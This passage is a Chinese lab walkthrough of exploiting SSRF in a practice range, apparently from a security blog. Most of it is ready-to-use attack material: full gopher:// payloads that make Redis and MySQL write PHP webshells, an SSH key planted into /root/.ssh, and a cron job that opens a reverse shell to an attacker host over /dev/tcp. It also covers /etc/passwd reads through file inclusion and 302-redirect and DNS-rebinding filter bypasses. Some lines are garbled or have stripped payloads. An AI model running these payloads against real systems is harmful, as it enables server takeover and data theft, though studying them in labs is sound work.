+![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oA0apMqY5j5K2rhEnzG8UxWDUZJaW0V3QocTueecDyfbdvY5D5zB1ng/640?wx_fmt=png&from=appmsg "") +- 注意：如果是POST方法提交就需要查看源代码，找到提交的参数，然后构造Payload，通过gopher:// +伪协议来提交 + +## 文件上传漏洞 +- 靶场中存在一个upload-labs模块 + +``` +http://172.250.250.14/Pass-01/index.php +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oicyT17M1ZUBRzTc391AlatiaIyia3p4UF6HrJG1NaW65Wibt2K2rXjb8EQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oiar2yeagnrgJLIQHnXsTFqR2b7CI6xq5MGAX86iblwEl9ADxuPoWo4QQ/640?wx_fmt=png&from=appmsg "") +- 右键查看源代码，查看关键的参数，以便于构造Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oGyibqq3yIoamlDwH7UGdHSN2TaE393icXKVAx5HrsYWQY847BeQIyh2g/640?wx_fmt=png&from=appmsg "") +- Payload构造 + +- 指定Content-Type为multipart/form-data +，而且要 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oD5qK2Wm7EPQJRWRNPpFhopFbC5odXia00x6MBPnicwiack9Uud2hDBtCw/640?wx_fmt=png&from=appmsg "") +- 构造完以后使用Burp抓包，发送到Repeater + +``` +gopher://172.250.250.6:80/_ +``` +- 拼接Payload，并且进行两次URL编码，发送后，发现上传成功 + +- 验证 + +``` +http://172.250.250.14/upload/test.php +``` +## 文件包含 +- 使用靶场中的upload-labs模块 + +``` +http://172.250.250.14/include.php +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocd1AQZGvUblOtdGOJ9ibc8vjHg8jD7ZBYrrWmWsAz9vDGIgJNfSh2vg/640?wx_fmt=png&from=appmsg "") +- file:// +伪协议读取文件 + +``` +http://172.250.250.14/include.php?file=file:///etc/passwd +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01obt1eTN9kYGrYqibsfEZKf5LT39KxIWpqQG8UR6icbl8XjR03sQcCcUpg/640?wx_fmt=png&from=appmsg "") +- data:// +伪协议执行命令 + +``` +http://172.250.250.14/include.php?file=data://text/plain, +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ollbCF9qqGRAGITQuKX2F5d6teBv2QlGtts6lUy2klzdpSFmfP1UbyQ/640?wx_fmt=png&from=appmsg "") +## Mysql未授权 +- 有些场景下，一些站点的Mysql数据库没有设置密码，且可以通过网络访问 + +- 所以可以通过SSRF漏洞对目标的Mysql进行操作 + +- Payload工具下载地址： +https://github.com/tarunkant/Gopherus + +### 查询数据 +- 通过Gopherus工具生成Payload + +``` +python2 gopherus.py --exploit mysql +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQ48lBGdx3ibGV5kXAwbKVMuZ2kR16n0nMDzJGO5ic4RgRTDSVpicDEVZQ/640?wx_fmt=png&from=appmsg "") +- 填写登录的用户（此处为root） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o9DNpyyNdHZYFLhjgtTNu2GhTia6mSFAwed15BGTRnFRMeNgDoFCnMBw/640?wx_fmt=png&from=appmsg "") +- 填写查询语句 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01omDlqVFJNAwlNT3yiaWTQmkj5U3pIYTObSLSapjnyJtpwvXFedDbh3Jg/640?wx_fmt=png&from=appmsg "") +- 更改生成Payload中的地址为目标地址，然后在存在SSRF的点进行提交，发现查询成功 + +``` +gopher://172.250.250.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oIwmyYolwewViaVibSHEAG2hm6bp40atlCRdoRiadISjIb1doIzcic2XEfw/640?wx_fmt=png&from=appmsg "") +### 写入数据 +- 构造Payload查看是否有写入权限 + +``` +show variables like '%secure%'; +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oRSWqnrfjnjlzNxWWxIlpCzPjwuWGprTKo5w4x27Qw5icibX867OFVo2w/640?wx_fmt=png&from=appmsg "") +- 通过提交Payload，发现secure_file_priv +没有值，说明可以写入 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oVavvMLAsibzKlsOCWfKd8Xc1TBt0tFtTVfbLYZ3kmpSaCaV8ZNXIkbw/640?wx_fmt=png&from=appmsg "") +- 构造Payload，往目标写入一句话木马 + +- 前提是知道绝对路径 + +``` +select "" into outfile '/var/www/html/cmd.php'; +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oZ7dSrYxUlj9MGD8ZpTPM23WgiaSGmzErRm7XkNTdd9aqlCdn8NmcO7Q/640?wx_fmt=png&from=appmsg "") +- 执行成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJe6qJGiaJpnmS64ZUDfmdibxlFsCmpbBTvq6r7NrgrQS1sWfOzteM1BQ/640?wx_fmt=png&from=appmsg "") +- 查看靶机的目录，发现成功写入 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQ3ibJQ7yibhOd5vn8fRU4hnHtXNcFU0oOdAFdmtBqbTibI7Tlr0BklM2Q/640?wx_fmt=png&from=appmsg "") +## 通过PUT对Tomcat进行文件写入 +- 在靶场中内置了一个Tomcat环境 + +``` +http://172.250.250.7:8080 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJ5YDwEpmEztibXIOeHVyr5xxYqN6dnSutRNEYXFqNHo5QpWvbkEfN0g/640?wx_fmt=png&from=appmsg "") +- 构造Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01osk75x0uy3IwnqE0vaXhAuvdib9sWia2BmlbwmlVuxgfZSIvghTfOGLSQ/640?wx_fmt=png&from=appmsg "") +- 用Burp抓包，发送到Repeater + +``` +gopher://172.250.250.7:8080/_ +``` +- 拼接Payload，并且进行两次URL编码，点击发送 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJ8UzM1LW4tMh1epcrVOnjmfEBlOoDStlQZrZztLiacHdic1lQEXKFMQQ/640?wx_fmt=png&from=appmsg "") +- 在存在SSRF的机器访问这个文件，发现已经成功上传，并可以执行命令 + +``` +http://172.250.250.7:8080/6.jsp +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oRNOoicxLR439VR1iaOhE3gVntoqVEbGjd4wAw7XP58oVcNrdwcuL4FiaA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o5l6rAuDIowPlswF8qNEicFUMkEm1TINvLqaKbTN0tseeIpyMAN079Lw/640?wx_fmt=png&from=appmsg "") +## SSRF打Redis +- 靶场地址如下，可以看到此时是未授权的页面（不需要用户名密码认证），有很多信息 + +``` +dict://172.250.250.9:6379/info +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oYEQnOPW5kxx6eYA231mTjgpc68bRpdhBbe62CJrFy4TiaUliahR4ficpg/640?wx_fmt=png&from=appmsg "") +- 利用时的注意事项 + +- 需要知道要写的文件地址和路径 + +- 要对写入文件有读写权限 + +- 会写入很多无用数据，有可能会导致程序出错 + +### 未授权写入webshell +- 原理 + +- 设置写入的web路径：config set dir /var/www/html/ + +- 设置shell文件的文件名：config set dbfilename phpinfo.php + +- 往数据库插入payload：set payload "" + +- 保存：save + +- 退出：quit + +- 手动构造Payload + +- 在靶机上通过tcpdump抓包 + +``` +tcpdump -i br-5af779a344a9 tcp and port 6379 -w redis.pcapng +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oy9BKQRtxMIibUywcmHM2QHhHhaq2HMv15UvTNcBfDoAyCg7icy33UMYQ/640?wx_fmt=png&from=appmsg "") +- 通过Redis客户端工具连接到靶场的Redis服务器 + +``` +redis-cli -h 172.250.250.9 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o7OSOLMFR0mLe5iaXowtOZpJu2DAhJebHgMLnr4Tj1dncEibibo8P9xianQ/640?wx_fmt=png&from=appmsg "") +- 设置写入的web路径 + +``` +config set dir /var/www/html/ +``` +- 设置shell文件的文件名 + +``` +config set dbfilename phpinfo.php +``` +- 往数据库插入payload + +``` +set payload "" +``` +- 保存 + +``` +save +``` +- 退出 + +``` +quit +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01onQ472sdnkUErPQUbASr8iaREic2ec0Rwib3tREXtJ4razX5jd3cziaRAlQ/640?wx_fmt=png&from=appmsg "") +- 停止抓包，成功生成数据包文件 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oj353RpVibZzFCiaDp7Q0SDuBBpMomicZowxicsxk7VliaibRu1O6SmfF1Hiag/640?wx_fmt=png&from=appmsg "") +- 进入到容器中，查看web目录，确实生成了一个phpinfo.php文件，查看时发现前后多了一些redis的相关信息，但是这里我们的代码主题是完整的，所以没有影响，写入ssh公钥的时候就需要注意 + +``` +docker exec -it ea bash +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oGDDMvEL4ZOzX7r4A9RrFOqTI36ayRVXffxmFzMpRNw2NHxSNozeiaXA/640?wx_fmt=png&from=appmsg "") +- 用wireshark打开这个数据包文件，然后最终TCP流 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o7lhOh2kZ3YbMC95V8f0TerUaeHg8aKEkRYNzBmRDj5vefkLxJia8jfA/640?wx_fmt=png&from=appmsg "") +- 过滤出目标端口为6379的数据包 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oUZRRrJKxD5XkfcFQibOw1FLmvOYz0VThIliaMY1tDYlNV8IDlcvbQMfg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ojBj20SoBDRNOKbS6TYCO3uhB7u9uZm94UrL7P1WnHGDvrmO7IhPKag/640?wx_fmt=png&from=appmsg "") +- 将过滤出来的内容copy到notepad++，把前三行删除，加上退出指令，参数解释如下 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJFj6cviaA2ica2krSmUQD9Bxo6VicRwbtTV4TXcmNEceDbPfveVicdPOkA/640?wx_fmt=png&from=appmsg "") +- 在notepad++中将换行符换成%0d%0a +，并且将问号进行URL编码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o5DFLMAf1DmDmdukZp5Fpk7zfrRAjyibCtDLxiasNSPtO7Z3MEjzsHReg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o3E010jOfkX7C7FNiaOIkZYiaRLXx2Acvk4JlzibdViasAdvria7oNJIeRNQ/640?wx_fmt=png&from=appmsg "") +- 拼接gopher:// +伪协议形成最终的Payload + +``` +gopher://172.250.250.9:6379/_*1%0d%0a$7%0d%0aCOMMAND%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$11%0d%0aphpinfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3Fphp phpinfo(); %3F>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ogxELFdBM5Qk1dichF16YHem7GXkHyr5knXrdMG3Pzq8onkthqsibqqow/640?wx_fmt=png&from=appmsg "") +- 在存在SSRF的地方提交Payload即可写入文件（先在容器删除刚刚生成的） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o0u3FucicOUqBMENryqV1YAgwwjwja87gicRtABKkdd3rsoF64hnvxYUQ/640?wx_fmt=png&from=appmsg "") +- 此时访问这个文件，发现访问成功 + +``` +http://172.250.250.9/phpinfo.php +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oYjw1QVDojN7GKF5bQ1v0Z6PNdkcK83v293KKUJU08WT2JgQSGcE2Wg/640?wx_fmt=png&from=appmsg "") +- 工具使用 + +- 通过Gopherus工具生成Payload + +``` +python2 gopherus.py --exploit redis +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oE01YF7V9Ewtv0Y5Q0u77gmUCGYsxSEbic6ReCwz4tW7FI7EgRxHqAOg/640?wx_fmt=png&from=appmsg "") +- 选择phpshell + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oU2nicE2NGosDJobaRyPNtGUtTQSPAc5rmbcBCkQyiaycGTqPScUrjDaw/640?wx_fmt=png&from=appmsg "") +- 选择写入的目录是否为/var/www/html +（此时默认回车即可） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oa9oT52mibsahticTbHNIUiaDNb7guh5tqRcwTqibzCS1gCyn97dgSJEu1A/640?wx_fmt=png&from=appmsg "") +- 填写需要写入的内容，选择默认的，会生成一个命令执行的Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oR8u2LF1wibaVsdeEHeAWHkQO0L7icQ3icabYPXDmz29cGZ29TPdJEpPQg/640?wx_fmt=png&from=appmsg "") +- 更改生成Payload中的地址为目标地址，然后在存在SSRF的点进行提交 + +- 由于没有写quit +退出，所以会出现一个挂起的情况 + +``` +gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oPXZHZP0x93fM0zOp4vXnWDFOPibZlqxk85cbbQZt9JwWhWOhjEyvQrA/640?wx_fmt=png&from=appmsg "") +- 此时通过这个文件执行命令，发现能够执行成功 + +``` +http://172.250.250.9/shell.php?cmd=id +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJsQOxibESeht9n62cmEOe0f3qO5NWstazCCdCHqJiaD2JXo3BsoylFVA/640?wx_fmt=png&from=appmsg "") +### 未授权写入ssh公钥 +- 先通过kali生成一个密钥对 + +``` +cd ./. +sshssh-keygen -t rsa +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oaVzRHb99f1VZ0Mtvk7S24SictL9ibUVEibKr7YxSHiarzY60d6fXka3icJg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ozjBgOMThl77XVGovtR4GeZFicafAKdxchcArr9zuZKu9JibGfEicu4QXQ/640?wx_fmt=png&from=appmsg "") +- 手工构造Payload，给目标写入ssh公钥 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o271yLic5eZeTVHwuT6vw4DNG3WIJuiaXtk3ZMowgpQ3ia3OscLyCckBJQ/640?wx_fmt=png&from=appmsg "") +- 解释如下 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01odCg4OOjiawN9tqOSOqgYjYw7yomXsIzXNxp5mLv9IBdH86Xiaqs8UUFA/640?wx_fmt=png&from=appmsg "") +- 在notepad++中将换行符换成%0d%0a + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o9anvTvnnt3wQ0YmVjzo8l9jOO02UO2NIplJ6StJ3QcZvC0XpEvXnbQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oicqRFdJLz0l4rVjsquGE8CvbVN0iceVk6GmDEnreUQoIRMYTNpz0qH4Q/640?wx_fmt=png&from=appmsg "") +- 拼接gopher:// +伪协议形成最终的Payload，在存在SSRF的地方提交 + +``` +gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$566%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6Vd2R2kTchU2OqZyCjAT6GO+NpXjyZkcKrgDLK/DALyx0xYfFl2dzSCKExJu36maiX9lCwNlAk2lBbCEJqxgPmV6+As7PDdl6HolVg19ZohlUpceiNTLYf0pRalm4EMvo1TNzrWtwM42Uwjmf+AY1eq8avqH5gpF1GTSm6tgX2E/4jeDFDHcdYshHVvA5hQXjpnkTEkdRprIlKbrvsdgUf1HKM6JBKq/gV/Po1pt+I1oRaBCK1AQDEv9GpQ8KMmtGfyy/QoPsdb7QUxZ98pXGIiAgj79YwM9xB0sMJjkn53CjVFlmGm7cKX6TkW9dkhm3wazkY9VGewwoIfIlQtyu+fYBNAwXFhRYgQvg4SryTfImUJIDfTrXi+14hNPpQvVxGR1FfP2ErM+WSRzJvVe33EZGLB+TlqSQp+pFo7ip0E3u7vq62zrzJFNNWlsUR/tu3pknlUx2BvPAxi1aGbhWZCqLhx1s76VQgKXEJ0hkN89TnJ15EYHV8ncQ24vCNo8= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQF4suFuo1bgxP3m3xiaYjTtT6r5TIW0K48XmibdOp85mbX7QiaPzBzaIQ/640?wx_fmt=png&from=appmsg "") +- 进入对应的docker容器，发现上传成功 + +``` +docker exec -it ea bash +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ouLdlhxdhloomd8EjePv6aE2EPTNfpqvVnvuZWNDBiashPiahY90oC6WA/640?wx_fmt=png&from=appmsg "") +- 此时使用kali调用私钥登录目标靶机，发现不需要密码即可登录 + +``` +ssh -i id_rsa -p 2222 root@10.10.10.61 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o3oPg4qmytLZHohiboSdiaeYnSCJVKgq0as7ibjqexhBftENLaoeCbDgsQ/640?wx_fmt=png&from=appmsg "") +### 未授权计划任务反弹shell +- 注意：此时不是写入到/etc/crontable +，而是写入到/var/spool/cron +目录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oicY2kfiaKRVicTsJRTwBJIUUH9BkzlL5WARicLlNVpdUSFm9kBF5USxDzQ/640?wx_fmt=png&from=appmsg "") +- 通过Gopherus工具生成Payload + +``` +python2 gopherus.py --exploit redis +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o2lVlYy3uicBztmZNGyd2DtAOXLnzYH9jByMF74BzCv9pxxr2fljSiaqg/640?wx_fmt=png&from=appmsg "") +- 选择反弹shell + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o75V1E8gqFJCJ81x058e8gKv8C1d4T3NvSmnIIOOAAtIHFVcBCGRrvQ/640?wx_fmt=png&from=appmsg "") +- 填写kali的ip地址（在哪接收弹回的shell就填写哪台机器的ip地址），然后下一步默认回车，即可生成Payload + +- 注意：生成的Payload默认监听端口是1234，可以自己改 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocSLdbf9CmMG7zFJTFicZ93ELejEWfM4NfZjjfa0iaM94A31DX0wfgVrQ/640?wx_fmt=png&from=appmsg "") +- 在kali上监听1234端口 + +``` +nc -lvp 1234 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o0As1ic56Xk3MtlalwS69ibrPJCWdyjyiaT5jDW7FNeCIekmiaE4KJuYGag/640?wx_fmt=png&from=appmsg "") +- 拼接gopher://伪协议 +，更改生成Payload中的地址为目标地址，然后在存在SSRF的点进行提交 + +- 由于没有写quit +退出，所以会出现一个挂起的情况 + +``` +gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/10.10.10.129/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A +``` +- 等待一段时间即可反弹shell成功 + +## 绕过限制 +### 302跳转绕过 +#### 原理 +- 为了防御SSRF攻击，开发者可能写了一些限制规则，不允许访问内部IP地址（私网地址）或特定的敏感文件/路径。 + +- 如果服务在处理302跳转时没有重新应用这些规则，那么攻击者就可以通过返回一个302跳转的响应来引导服务器访问这些受限资源。 + +#### 靶场复现 +- 此时想要访问http://127.0.0.1/flag.php +上的内容，但是直接请求本地环回地址或者内网IP的话是被阻止的。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oWaMmX23q3eiaTYiaJyMSniaoonntJiaeS9VFrJqdNjABW8XjP9CJSjAiaaQ/640?wx_fmt=png&from=appmsg "") +- 此时的SSRF服务器如果可以访问公网，就可以在VPS上准备一个302重定向的代码文件（文件类型根据实际情况选择） + +- 如果目标服务器在处理302跳转时没有检查新的URL是否符合其安全策略，就会按照Location头部指示的位置发出请求 + +``` + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocKicVqpRibOhMd59jCkZfsN1fpVxU4PVnzaV2kujL0156d2Y0ZiayNNKA/640?wx_fmt=png&from=appmsg "") +- 在VPS使用php启动一个临时的服务器 + +``` +php -S 0.0.0.0:8080 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01onpqfoOCjUWRbzPAkCtUcEPUjww1Y5RlzkLncFYzsziashTbmVwzC29A/640?wx_fmt=png&from=appmsg "") +- 在存在SSRF的位置访问刚刚准备的302重定向文件，发现成功绕过限制 + +``` +http://139.9.200.42:8080/test.php +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oxlhT4Qh2z34Ty13gsHLcVmMp4gb6srJ2tF1fEa79554IJlfT9pXhLw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ovL0S2H6zukbESLgOqz5jsdMXHNKe6WyUuib7ufoVfrSoia6sV2U3ZACg/640?wx_fmt=png&from=appmsg "") +### DNS重绑定绕过 +#### 原理 +- DNS重绑定的核心在于利用了DNS查询结果的可变性以及HTTP请求处理过程中可能存在的时序问题。 + +- 攻击者首先注册一个由他们控制的域名，并配置DNS记录指向攻击者的VPS。 + +- 当目标服务器尝试对该域名进行DNS解析并建立连接时，攻击者快速更改该域名的DNS记录，使其指向一个内部IP地址或其他受限资源，就可能绕过对内网资源的访问限制。 + +- 比如：第一次提交时，首先WAF检测到攻击者通过SSRF漏洞访问的是一个域名，通过DNS解析发现是合法的地址（不是内网地址），就通过了WAF检测；此时如果攻击者在极短的时间内更换了域名解析的地址为目标内网的地址，服务端开始请求资源的时候，再次做DNS解析，此时解析出来的就是内网地址，就可能绕过对内网资源的访问限制，成功获取到内网的信息 + +- 注意：攻击者获取可控的域名，最好是可以设置较低的TTL值（比如：0），这样可以快速更新DNS记录。 + +- TTL值DNS记录在DNS缓存中可以保留的时间长度（以秒为单位）。当一个DNS查询发生时，结果会被缓存一段时间，这段时间由TTL决定，在这段时间内，后续的相同域名查询会直接使用缓存中的结果，而不会再次执行DNS查询。 + +- 所以通过较低的TTL值，可以避免在第二次DNS解析时，用的是缓存中的结果，而不是重新绑定的ip地址 + +- 最理想的TTL值是0，即在第一次解析之后，立马换成我们想要访问的内网IP + +#### 靶场复现 +- 直接访问内网的文件发现被过滤 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ombjzoWHDF8yxDtM17hKrpsdf61A3dg6aFCzacqJuoj8ib3PYmXTZXgQ/640?wx_fmt=png&from=appmsg "") +- 一个提供DNS解析TTL值为0的网站： +https://lock.cmpxchg8b.com/rebinder.html + +- 在这个网站中输入一个公网IP和一个需要访问的目标内网地址，先后顺序无所谓，可以发现生成了一个域名 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oDYXVmkWsOozDuNc8dDoC9PiabZbGlQcsjE3dtIygXOEsJzRBZGticuCw/640?wx_fmt=png&from=appmsg "") +- 此时在靶场中通过这个域名请求内网的资源，发现成功获取内网的资源 + +``` +http://7f000001.8b09c82a.rbndr.us/flag.php +``` + 